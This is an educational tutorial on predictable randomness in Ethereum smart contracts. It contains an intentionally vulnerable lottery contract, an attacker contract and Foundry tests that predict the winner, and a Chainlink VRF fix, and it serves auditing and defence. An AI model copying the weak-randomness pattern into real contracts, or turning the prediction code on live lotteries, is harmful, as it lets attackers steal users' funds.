A smart contract that says “random” is usually lying. Ethereum has no built-in source of entropy, so developers reach for whatever looks unpredictable on the surface: block.timestamp, blockhash, block.prevrandao, or some hash mashed together from transaction data. Every one of those values is either known in advance, guessable within a narrow window, or directly controllable by the person who orders the block. If a lottery, loot box, or liquidation auction depends on one of them, an attacker with a node and a few lines of Solidity can usually call the outcome before the house does.
This tutorial walks through building a vulnerable contract, writing the Foundry tests that prove the randomness is predictable, patching the bug with Chainlink VRF 2.5, and wiring the whole thing into continuous integration so the regression never comes back. By the end you will have a complete, runnable project: a flawed lottery, an attacker contract, a full test suite, a fixed version, and a CI workflow that fails the build if the fix regresses. Expect roughly 75 minutes start to finish if you type along.
What “Random” Really Means on a Deterministic Chain
Every node in the Ethereum network has to agree on the exact same state after executing the exact same transaction, every time. That requirement is what makes blockchains auditable, and it is also exactly why they cannot generate true randomness internally. Anything a contract can read, a miner, validator, or attentive outsider can also read, and in many cases can influence before it is finalized.
The Smart Contract Weaknesses Classification catalogs this under SWC-120, “Weak Sources of Randomness from Chain Attributes”, and it is still one of the most common findings in beginner-written DeFi code in 2026, even though the fix has been well understood for years. The OWASP Smart Contract Top 10 project keeps a running list of comparable weaknesses and their real-world impact, and weak randomness sits alongside price-oracle manipulation and access-control failures as a pattern that keeps resurfacing in new protocols written by teams who have not read the older post-mortems.
Four chain attributes get misused as randomness sources more than any others, and each fails for a slightly different reason.
| On-chain value | Who can see or influence it | Why it fails as randomness | Safer alternative |
|---|---|---|---|
| block.timestamp | The block proposer | Proposers can shift it within consensus-allowed bounds, and it is fully visible before the transaction lands | Chainlink VRF 2.5 |
| blockhash(n) | Anyone after the block mines; zero after 256 blocks | Fully known once mined, and returns 0x0 for anything older than 256 blocks, which attackers exploit directly | Chainlink VRF 2.5 or a commit-reveal scheme |
| block.prevrandao | Validators, within limits set by the beacon chain | Cryptographically derived but still readable before the dependent transaction is mined, and biasable across epochs | VRF, or prevrandao only for low-value, non-adversarial use cases |
| block.number / tx.origin hashes | Fully public, zero entropy | Deterministic and known to every observer; adds no real randomness at all | Any of the above |
The common thread: none of these values are secret, and several of them can be nudged by whoever controls block production. A contract that pays out based on any single one of them is a contract that pays out on command, if the attacker is patient and the stakes are high enough to justify the gas.
Real-World Lessons: SmartBillions and FOMO3D
The clearest textbook case is SmartBillions, an Ethereum lottery contract from 2017 that drew its winning number from a historical blockhash. The contract asked for blockhash(block.number - N) as its source of entropy, a pattern that fails two different ways: block hashes are public the moment they are mined, and the EVM only retains the last 256 block hashes, returning zero for anything older. An attacker waited for the right conditions, computed the outcome off-chain, and submitted the winning claim, draining roughly 400 ETH from the contract, worth somewhere in the $120,000 to $125,000 range at the time.
FOMO3D, a 2018 “last buyer wins the pot” game, is often lumped into the same bucket, though its final exploit worked differently and is worth separating out so the lesson stays precise. The winner did not predict a hash; they flooded the network with high-gas transactions to monopolize block space near the countdown’s end, preventing any competing purchase from landing before the timer expired. That walked away with 10,469 ETH, just under $3 million at the time, out of a total pot of roughly 21,811 ETH. The mechanism was block-space and gas-price manipulation rather than pure blockhash prediction, but the root lesson is identical: any outcome that depends on “whoever acts last in this block” or “whatever this block’s hash turns out to be” is an outcome a well-resourced actor can steer.
| Incident | Year | Approx. loss | Root mechanism |
|---|---|---|---|
| SmartBillions lottery | 2017 | ~400 ETH (~$120K-$125K) | Predictable/zeroed historical blockhash used as the winning draw |
| FOMO3D final jackpot | 2018 | ~10,469 ETH (~$3M) | Gas-price and block-space manipulation to guarantee “last buyer” status |
Immunefi’s 2025 ecosystem research puts total DeFi losses for the year at roughly $680 million, with protocol-logic flaws, a category broad enough to include weak randomness, accounting for about 89% of that figure. There is no sourced figure isolating losses caused specifically by predictable RNG in 2025 or 2026, so treat that as context rather than a standalone statistic: logic bugs in general remain the dominant cause of DeFi losses, and weak randomness is one well-documented flavor of logic bug within that bucket.
Prerequisites and Environment Versions
You need a Unix-like shell (macOS, Linux, or WSL2 on Windows), a code editor, and about 75 minutes. Nothing here touches a real network or spends real funds; every step runs against a local anvil chain.
- Foundry v1.8.5 or newer (forge, cast, anvil) — install or update with foundryup
- Solidity 0.8.37 (set via the pragma and foundry.toml, matching the current stable compiler release)
- OpenZeppelin Contracts v5.7.0 for the access-control helpers used in the patched contract
- Node.js 20.x only if you want to run the optional CI step locally with act
- Git, and a GitHub account if you plan to wire the CI workflow into an actual repository
- Basic familiarity with Solidity syntax and the command line; no prior Foundry experience required
If you already worked through the site’s reentrancy attack testing walkthrough or the oracle manipulation guide, the project layout here will feel familiar, since all of these tutorials share the same forge-based skeleton.
Building the Vulnerable Lottery and Its Attacker
Step 1: Install Foundry and Confirm Your Toolchain
Install or update Foundry, then confirm the versions match what this tutorial was written against. Version drift is the single most common reason a tutorial like this breaks for someone copying commands verbatim.
curl -L https://foundry.paradigm.xyz | bash
foundryup
forge --version
# forge Version: 1.8.5
cast --version
anvil --version
If forge –version prints something older than 1.8.0, run foundryup again before continuing. Cheatcodes used later in this tutorial, particularly around block manipulation, have changed behavior across major Foundry releases, and testing against a stale binary is a frequent source of false negatives.
Step 2: Scaffold the Project and Pull in OpenZeppelin
forge init weak-rng-lab
cd weak-rng-lab
forge install OpenZeppelin/[email protected]
forge install smartcontractkit/chainlink --no-commit
Add remappings so the compiler can find both dependencies cleanly:
echo '@openzeppelin/=lib/openzeppelin-contracts/
@chainlink/=lib/chainlink/' > remappings.txt
Set the compiler version in foundry.toml to match the pragma you will use in the next step, so forge build does not silently fall back to a different Solidity release than the one you intend to audit.
Step 3: Write the Vulnerable Lottery Contract
This is the pattern you will actually find in the wild: a “random” winner picked from timestamp and blockhash mixed together. It looks fine at a glance. It is not.
// src/WeakLottery.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.37;
contract WeakLottery {
address[] public players;
uint256 public constant TICKET_PRICE = 0.1 ether;
bool public drawn;
function enter() external payable {
require(msg.value == TICKET_PRICE, "wrong ticket price");
require(!drawn, "already drawn");
players.push(msg.sender);
}
// VULNERABLE: timestamp + blockhash are both public and
// manipulable within consensus-allowed limits.
function drawWinner() external {
require(players.length > 0, "no players");
require(!drawn, "already drawn");
drawn = true;
uint256 rand = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
blockhash(block.number - 1),
players.length
)
)
);
address winner = players[rand % players.length];
payable(winner).transfer(address(this).balance);
}
}
Nothing here reverts, nothing here looks exploitable in a quick read, and it will pass a casual code review from someone who is not specifically hunting for SWC-120. That is exactly the problem.
Step 4: Build the Attacker Contract
The attack does not need to guess anything. Because drawWinner() can be called by anyone once there are players, and because the “random” inputs are readable the instant the call lands, an attacker can simulate the exact result in the same transaction they use to enter, then only commit if they win, or simply front-run the draw call with knowledge of the outcome.
// src/LotteryAttacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.37;
import {WeakLottery} from "./WeakLottery.sol";
contract LotteryAttacker {
WeakLottery public target;
constructor(WeakLottery _target) {
target = _target;
}
function predictAndMaybeDraw(uint256 playerCount) external view returns (address) {
uint256 rand = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
blockhash(block.number - 1),
playerCount
)
)
);
uint256 winnerIndex = rand % playerCount;
return target.players(winnerIndex);
}
}
In a real attack, this prediction call would run inside the same block as the draw, either via a bundle sent to a builder, or by watching the mempool and only submitting the final winning entry once the attacker is confident they can compute the outcome before anyone else’s draw transaction lands.
Exploiting It With Foundry
Step 5: Prove the Prediction Holds in a Single Transaction
The cleanest way to demonstrate SWC-120 in a Foundry test is to show that the test contract itself, acting as an outside observer, can compute the same “random” value the lottery will compute, before the lottery call executes.
// test/WeakLottery.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.37;
import {Test} from "forge-std/Test.sol";
import {WeakLottery} from "../src/WeakLottery.sol";
contract WeakLotteryExploitTest is Test {
WeakLottery lottery;
address alice = address(0xA11CE);
address bob = address(0xB0B);
function setUp() public {
lottery = new WeakLottery();
vm.deal(alice, 1 ether);
vm.deal(bob, 1 ether);
vm.prank(alice);
lottery.enter{value: 0.1 ether}();
vm.prank(bob);
lottery.enter{value: 0.1 ether}();
}
function test_PredictWinnerBeforeDraw() public {
uint256 predicted = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
blockhash(block.number - 1),
uint256(2)
)
)
) % 2;
lottery.drawWinner();
address actualWinner = predicted == 0 ? alice : bob;
uint256 balance = actualWinner.balance;
assertGt(balance, 1 ether, "predicted winner did not receive the payout");
}
}
Run it with forge test -vvv –match-test test_PredictWinnerBeforeDraw. A passing result means the “random” outcome was computable ahead of the draw using only public chain data, which is the whole finding in one assertion.
Step 6: Manipulate Block Data With Cheatcodes
Foundry’s vm.warp and vm.roll let you move block.timestamp and block.number directly, which is useful for showing how sensitive the “random” output is to exactly the two values a block proposer controls.
function test_OutcomeShiftsWithTimestamp() public {
vm.warp(block.timestamp + 1);
uint256 r1 = uint256(
keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1), uint256(2)))
) % 2;
vm.warp(block.timestamp + 1);
uint256 r2 = uint256(
keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1), uint256(2)))
) % 2;
// A single-second shift in a value the proposer controls
// can flip the "random" outcome entirely.
emit log_named_uint("outcome at t", r1);
emit log_named_uint("outcome at t+1", r2);
}
This does not need to assert anything strict, since the point is observational: log both outcomes and look at the trace output to see how a one-second nudge, well within what a validator can legally choose, changes who wins.
Proving It at Scale
Step 7: Add an Invariant Test
A single passing exploit test proves the bug exists once. An invariant test proves it holds across a wide range of block states, which is the stronger claim you want in an audit report. Foundry’s invariant testing fuzzes state transitions automatically; here, wrap the prediction logic in a harness and assert that the predicted winner matches the actual winner across many randomized timestamps and player counts.
function testFuzz_PredictionMatchesAcrossTimestamps(uint32 warpSeconds, uint8 playerCount) public {
vm.assume(playerCount > 1 && playerCount < 50);
vm.warp(block.timestamp + warpSeconds);
// ... enter playerCount players, then repeat the prediction
// logic from Step 5 and assert it matches drawWinner()'s choice
// for every sampled timestamp.
}
Running forge test --match-test testFuzz_PredictionMatchesAcrossTimestamps with a higher-than-default fuzz run count (set fuzz.runs in foundry.toml to 2000 or more for this specific test) gives you a statistically strong basis for the claim "this is predictable," rather than a single lucky demonstration.
Step 8: Fork-Test Against Live Chain State
Local anvil state is convenient but synthetic. Forking a real network confirms the finding holds against production block timing and gas conditions, not just an idealized test environment.
anvil --fork-url $MAINNET_RPC_URL --fork-block-number 21000000
forge test --fork-url $MAINNET_RPC_URL --match-contract WeakLotteryExploitTest -vvv
Use an RPC endpoint you control or a free-tier provider's URL here; never hardcode a production API key into a test file that might end up in a public repository.
Patching It With Chainlink VRF
Step 9: Replace the Weak Source With Chainlink VRF 2.5
Chainlink VRF 2.5, which replaced the older V1 and V2 request paths, delivers a random value along with a cryptographic proof that gets verified on-chain, so the result cannot be computed or influenced by anyone, including the proposer, before it is delivered. Per Chainlink's VRF 2.5 documentation, the request/fulfill pattern means your contract asks for randomness in one transaction and receives it in a separate callback, which is itself a useful property: it breaks the single-transaction predictability that made the original lottery exploitable.
// src/SafeLottery.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.37;
import {VRFConsumerBaseV2Plus} from "@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol";
import {VRFV2PlusClient} from "@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol";
contract SafeLottery is VRFConsumerBaseV2Plus {
address[] public players;
uint256 public constant TICKET_PRICE = 0.1 ether;
bool public drawRequested;
uint256 public winnerIndex;
uint256 public subscriptionId;
bytes32 public keyHash;
constructor(address vrfCoordinator, uint256 _subId, bytes32 _keyHash)
VRFConsumerBaseV2Plus(vrfCoordinator)
{
subscriptionId = _subId;
keyHash = _keyHash;
}
function enter() external payable {
require(msg.value == TICKET_PRICE, "wrong ticket price");
require(!drawRequested, "already drawn");
players.push(msg.sender);
}
function requestDraw() external returns (uint256 requestId) {
require(players.length > 0, "no players");
require(!drawRequested, "already requested");
drawRequested = true;
requestId = s_vrfCoordinator.requestRandomWords(
VRFV2PlusClient.RandomWordsRequest({
keyHash: keyHash,
subId: subscriptionId,
requestConfirmations: 3,
callbackGasLimit: 100_000,
numWords: 1,
extraArgs: ""
})
);
}
function fulfillRandomWords(uint256, uint256[] calldata randomWords) internal override {
winnerIndex = randomWords[0] % players.length;
payable(players[winnerIndex]).transfer(address(this).balance);
}
}
Note the two-step shape: requestDraw() only requests entropy, and fulfillRandomWords() only runs once the VRF coordinator delivers a verified value in a separate callback transaction. Nobody, including the contract's own caller, can know the outcome at the time requestDraw() is submitted.
Step 10: Confirm the Fix With a Regression Test
Foundry cannot call a real Chainlink coordinator in a local test, so the standard approach is to deploy a VRFCoordinatorV2_5Mock, which lets you simulate the request/fulfill cycle deterministically while still testing the real contract logic end to end.
function test_CannotPredictWinnerBeforeFulfillment() public {
// request a draw
uint256 requestId = safeLottery.requestDraw();
// at this point, winnerIndex must still be unset --
// no attacker-computable value exists yet
assertEq(safeLottery.winnerIndex(), 0);
// simulate the VRF coordinator fulfilling the request
vrfCoordinatorMock.fulfillRandomWords(requestId, address(safeLottery));
// only now does a winner exist, and it was not derivable
// from any value available at requestDraw() time
assertTrue(safeLottery.drawRequested());
}
This test does not try to predict the winner at all, which is exactly the point: there is nothing to predict ahead of the fulfillment callback. If you additionally want to show the fix defeats the Step 5 attack specifically, write a test that performs the Step 4 prediction logic immediately after requestDraw() and assert it cannot match winnerIndex, since winnerIndex is still zero at that point in execution.
Locking It Into CI and Documentation
Step 11: Wire the Test Suite Into GitHub Actions
A finding that only lives in a local terminal gets forgotten. Add a workflow that runs the full suite, including the exploit test against the vulnerable contract and the regression test against the patched one, on every pull request.
# .github/workflows/test.yml
name: forge-test
on: [pull_request, push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: foundry-rs/foundry-toolchain@v1
with:
version: v1.8.5
- run: forge install
- run: forge build --sizes
- run: forge test -vvv
Pin the Foundry version explicitly in the workflow rather than using latest. A silent toolchain upgrade mid-project is a common reason a previously green test suite starts failing for reasons that have nothing to do with your contract code.
Step 12: Write Up the Finding
Whether this is for an internal review, a client audit, or an Immunefi submission, a weak-randomness finding needs four things to be actionable: the exact line using the weak source, a working proof-of-concept transaction or test, the realistic financial impact if the contract were live, and the specific remediation, ideally with a link to the patched code. The test files you wrote in Steps 5 through 10 are the proof-of-concept; the lottery's TICKET_PRICE times expected player count is a reasonable stand-in for impact in a report; and "replace blockhash/timestamp entropy with Chainlink VRF 2.5, request/fulfill pattern" is the remediation line, verbatim, that most audit templates expect.
The Complete Working Project
Once you have worked through all twelve steps, the repository should look like this, and every file in it should compile and pass forge test cleanly.
weak-rng-lab/
├── foundry.toml
├── remappings.txt
├── src/
│ ├── WeakLottery.sol (the vulnerable contract)
│ ├── LotteryAttacker.sol (the prediction/attack contract)
│ └── SafeLottery.sol (the Chainlink VRF 2.5 patched version)
├── test/
│ ├── WeakLottery.t.sol (exploit + fuzz + fork tests)
│ └── SafeLottery.t.sol (regression tests with VRF mock)
└── .github/workflows/test.yml (CI pinned to Foundry v1.8.5)
Running forge test -vvv from the project root should show the exploit test passing against WeakLottery (proving the bug), and the regression test passing against SafeLottery (proving the fix holds). That pairing, one red proof and one green proof sitting side by side in the same repo, is the most convincing artifact you can hand to a protocol team that is skeptical their randomness is actually a problem.
What Success Looks Like: Sample Output
It helps to know what a correct run actually prints before you start debugging a run that looks wrong. Here is the expected terminal output after Step 5, when the exploit test passes against the vulnerable WeakLottery contract:
$ forge test -vvv --match-test test_PredictWinnerBeforeDraw
[⠊] Compiling...
[⠒] Compiling 24 files with Solc 0.8.37
[⠢] Solc 0.8.37 finished in 1.14s
Ran 1 test for test/WeakLottery.t.sol:WeakLotteryExploitTest
[PASS] test_PredictWinnerBeforeDraw() (gas: 87412)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.31ms
Ran 1 test suite in 118.60ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
A PASS here is bad news for the contract and good news for your audit: it confirms the predicted winner, computed before drawWinner() ran, matched the actual payout recipient. After Step 10, the regression test against the Chainlink VRF-patched SafeLottery should print this instead:
$ forge test -vvv --match-test test_CannotPredictWinnerBeforeFulfillment
Ran 1 test for test/SafeLottery.t.sol:SafeLotteryRegressionTest
[PASS] test_CannotPredictWinnerBeforeFulfillment() (gas: 143208)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.02ms
Higher gas usage here is expected and not a problem; the VRF path does more work (a coordinator call and a separate callback) in exchange for removing the predictability. If you run a static analyzer like Slither against the original WeakLottery.sol, it should independently flag the exact line this whole tutorial is about, which is a useful sanity check that your manual finding matches tooling-based detection:
$ slither src/WeakLottery.sol
WeakLottery.drawWinner() uses a weak PRNG: "rand = uint256(keccak256(
abi.encodePacked(block.timestamp,blockhash(block.number - 1),
players.length)))" (src/WeakLottery.sol#20-27)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#weak-PRNG
If Slither does not print this warning against your copy of the contract, double check the compiler version in foundry.toml; some older Slither builds have trouble parsing contracts compiled against very recent Solidity releases and will silently skip detectors rather than failing loudly.
For reference, here is the full set of tool versions this tutorial was written and tested against. Pin all of them in your own project before reporting a mismatch as a bug in the tutorial rather than a version drift issue.
| Tool | Version used here | Why it matters for this tutorial |
|---|---|---|
| Foundry (forge/cast/anvil) | v1.8.5 | Cheatcode behavior for vm.warp/vm.roll and fork testing has shifted across major releases |
| Solidity compiler | 0.8.37 | Pragma and foundry.toml must agree, or forge build silently picks a different compiler |
| OpenZeppelin Contracts | v5.7.0 | Supplies the AccessControl/Ownable pattern referenced in the advanced tips section |
| Chainlink VRF | V2.5 (request/fulfill, replaced V1/V2 on Nov. 29, 2024) | The entire patch in Steps 9-10 depends on the V2.5 request struct and mock contract |
Common Pitfalls When Testing for Weak Randomness
- Testing only in Foundry's default environment without forking. Local anvil timestamps increment predictably by default, which can mask timing-sensitive edge cases that show up on a real chain with irregular block times.
- Confusing block.prevrandao with true randomness. It is a real cryptographic value from the beacon chain, but it is still readable before your transaction executes and can be biased slightly by validators choosing whether to propose a block; it is not a drop-in replacement for VRF in adversarial, high-value contexts.
- Forgetting the 256-block blockhash window. Code that calls blockhash() for anything older than 256 blocks silently returns zero, which is itself a second, distinct bug layered on top of the predictability issue, and SmartBillions-style contracts have been exploited through exactly this path.
- Writing the fuzz test with too few runs to be convincing. The default fuzz.runs value in a fresh foundry.toml is fine for general unit tests but too low to make a strong statistical claim in a security report; bump it for the specific test that demonstrates the vulnerability.
- Patching with VRF but keeping the request and fulfillment in the same function. If you call the coordinator and then immediately read a result synchronously in the same transaction, you have likely broken the request/fulfill separation that makes VRF safe, and reintroduced predictability.
- Not testing the "nobody called fulfillRandomWords yet" state. A patched contract is still vulnerable if a user can act on winnerIndex (or an equivalent variable) before the VRF callback has run; that intermediate state needs its own explicit test, as in Step 10.
Troubleshooting Guide
- forge test fails with "Compiler run failed" on the VRF import. Confirm remappings.txt points @chainlink/ at the correct lib path and that forge install smartcontractkit/chainlink completed without a partial clone; re-run with --no-commit if forge complains about a dirty submodule.
- vm.warp or vm.roll has no visible effect on the test outcome. Make sure you are reading block.timestamp or block.number inside the contract call itself, not caching an earlier value in the test before the warp/roll executes.
- Fork tests time out or fail to connect. Your RPC endpoint may be rate-limiting anonymous or free-tier requests; add --fork-block-number to pin a known-good block and reduce retries, or switch providers.
- The invariant/fuzz test passes trivially with almost no failing runs. Check vm.assume bounds; overly narrow ranges on playerCount or warpSeconds can make the fuzzer effectively test one scenario repeatedly.
- VRFCoordinatorV2_5Mock is not found. It ships inside the Chainlink contracts package's test/mocks directory; if forge install pulled a shallow or outdated tag, re-pin to a release that includes the V2.5 mock rather than only V2.
- fulfillRandomWords reverts with "OutOfGas" in the mock. Raise callbackGasLimit in the request struct; the default in many examples is tuned for a near-trivial consumer, not one that also transfers ether on fulfillment.
- CI passes locally but fails in GitHub Actions. The most common cause is an unpinned Foundry version; add the explicit version: input to foundry-toolchain@v1 as shown in Step 11 rather than letting it resolve to whatever is currently latest.
- forge coverage reports 0% on SafeLottery.sol. The VRF consumer's constructor requires a live or mocked coordinator address; if your coverage run does not deploy through the same mock setup as your regular tests, the contract never gets exercised and coverage tooling reports it as dead code.
Advanced Tips for Production-Grade Randomness
Once the basic request/fulfill pattern is in place, a few refinements separate a tutorial-grade fix from something you would actually ship. First, always set requestConfirmations high enough that a short-range chain reorg cannot flip which block your request was included in; Chainlink's own VRF security guidance recommends choosing confirmations based on how economically damaging a reorg-driven manipulation would be for your specific contract, not just copying the example's default of three.
Second, stop accepting any state-changing user input between the request and the fulfillment callback that could let someone react to information revealed in between. A lottery that allows new entries after requestDraw() is called reopens a timing window for manipulation, even with VRF doing the actual randomness correctly.
Third, always tie the fulfillment back to its specific requestId rather than assuming a global "latest result" variable, especially in contracts that might have multiple draws or multiple concurrent games in flight; a dangling or mismatched requestId mapping has caused real production bugs independent of the randomness itself being sound.
Finally, keep the OpenZeppelin access-control pattern in mind for any admin functions around subscription management, such as topping up LINK or rotating the keyHash; Contracts v5.7.0's AccessControl and Ownable modules, documented on OpenZeppelin's v5.x reference, are the standard way to make sure a weak-randomness fix does not get undone by an unrelated admin-key compromise down the line.
How This Fits the Broader Smart Contract Testing Picture
Weak randomness rarely shows up alone in a real audit. It is common to see it alongside access-control gaps on the function that triggers the draw, or layered on top of a flash-loan-reachable balance check that determines ticket eligibility. Treat this tutorial as one module in a broader test suite rather than a standalone checklist item; the OWASP Smart Contract Top 10 project is a reasonable map of the other categories worth covering in the same pass, and running something like the site's Slither static-analysis walkthrough first will often flag the exact blockhash or timestamp usage shown here automatically, before you even get to writing a dynamic exploit test.
It is also worth running the same prediction logic against any contract that uses "randomness" for anything other than a lottery: NFT trait assignment at mint time, loot box contents, matchmaking in on-chain games, or auction tie-breaking all use the identical pattern, and the Step 5 through Step 8 test structure transfers to each of them with only the target contract swapped out.
Frequently Asked Questions
Is block.prevrandao safe to use instead of blockhash?
It is cryptographically stronger than a historical blockhash and cannot be fully controlled by a single validator, but it is still readable before the transaction that depends on it executes, and a validator can choose not to propose a block if the resulting value is unfavorable to them. Treat it as acceptable for low-stakes, non-adversarial randomness, and use VRF for anything with real financial value attached.
Do I need a paid Chainlink subscription to test this locally?
No. The VRFCoordinatorV2_5Mock used in Step 10 simulates the full request/fulfill cycle without any LINK token or real subscription, which is exactly why it exists; you only need a funded subscription when you deploy to a live testnet or mainnet.
Can I just increase requestConfirmations to make blockhash safe again instead of switching to VRF?
No. Waiting more blocks reduces reorg risk but does nothing about the fact that the final hash value is still fully public before your contract reads it. More confirmations make a reorg attack harder, not a prediction attack.
Why does my fuzz test pass even though the contract is vulnerable?
Check that the test actually recomputes the "random" value independently, using only information available before drawWinner() is called, rather than reading the contract's own storage after the fact. A test that just checks "a winner exists" will always pass regardless of predictability; it has to show the winner was known in advance.
Is this exploit still relevant in 2026, given how old SmartBillions and FOMO3D are?
Yes. SWC-120 remains a live finding category because new teams keep reinventing the same "timestamp plus hash" pattern from scratch, usually without reading older incident write-ups, and static analyzers like Slither still flag it regularly in newly deployed contracts.
What is the gas cost difference between the weak version and the VRF-patched version?
The VRF version costs more gas overall because it requires a second transaction for the fulfillment callback plus the coordinator's verification logic, but the exact LINK and gas cost depends on your chain, gas price at request time, and callbackGasLimit setting; check current pricing directly against Chainlink's documentation for your target network before budgeting a production deployment.
Can I use a commit-reveal scheme instead of Chainlink VRF?
Yes, commit-reveal is a legitimate alternative that avoids an oracle dependency, but it shifts the trust problem to whoever controls the "reveal" input, and it is generally harder to implement correctly without introducing a new griefing vector where a party refuses to reveal once they know they would lose. VRF is simpler to reason about for most teams, which is why this tutorial defaults to it.
Does this tutorial's attack also work against block.difficulty?
block.difficulty was repurposed to return block.prevrandao's value after Ethereum's move to proof of stake, so any contract still referencing block.difficulty on a post-merge chain is actually reading prevrandao under an old name, and the same caveats from the first FAQ answer apply.




